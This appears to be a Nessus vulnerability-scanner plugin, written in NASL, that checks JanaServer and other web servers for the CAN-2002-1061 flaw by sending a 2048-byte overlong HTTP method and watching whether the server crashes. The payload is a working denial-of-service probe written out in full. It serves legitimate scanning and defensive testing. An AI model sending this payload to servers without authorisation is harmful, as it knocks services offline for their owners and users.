# # This script was written by Michel Arboi # GPL # *untested* # # Script audit and contributions from Carmichael Security # Erik Anderson # Added BugtraqID and CAN # # References: # From:"Matthew Murphy" # To:"BugTraq" , # "Vuln-Dev" , # "SecurITeam News" , # "Full Disclosure" # Subject: Unchecked Buffer in Jana Web Server # Date: Mon, 5 Aug 2002 17:38:45 -0500 # # Date: Fri, 26 Jul 2002 12:12:45 +0400 # From: "3APA3A" <3APA3A@SECURITY.NNOV.RU> # To: bugtraq@securityfocus.com # Subject: SECURITY.NNOV: multiple vulnerabilities in JanaServer # # Affected: # JanaServer? # if(description) { script_id(11065); script_version ("$Revision$"); script_cve_id("CAN-2002-1061"); script_bugtraq_id(5319); name["english"] = "HTTP method overflow"; script_name(english:name["english"]); desc["english"] = "It was possible to kill the web server by sending an invalid request with a too long HTTP method field A cracker may exploit this vulnerability to make your web server crash continually or even execute arbirtray code on your system. Solution : upgrade your software or protect it with a filtering reverse proxy Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "too long HTTP method kills the web server"; script_summary(english:summary["english"]); script_category(ACT_DENIAL); # All the www_too_long_*.nasl scripts were first declared as # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them: # The web server might be killed by those generic tests before Nessus # has a chance to perform known attacks for which a patch exists # As ACT_DENIAL are performed one at a time (not in parallel), this reduces # the risk of false positives. script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi"); family["english"] = "Denial of Service"; script_family(english:family["english"]); script_dependencies("find_service.nes", "http_version.nasl", "no404.nasl"); script_require_ports("Services/www", 80); exit(0); } ######## include("http_func.inc"); r = string(crap(data:"HEADNESSUSNESSUS", length: 2048), " / HTTP/1.0\r\n\r\n"); port = get_kb_item("Services/www"); if(!port) port = 80; if(! get_port_state(port)) exit(0); if (http_is_dead(port: port)) exit(0); soc = http_open_socket(port); if(! soc) exit(0); send(socket:soc, data: r); r = http_recv(socket:soc); http_close_socket(soc); if (http_is_dead(port: port)) security_hole(port);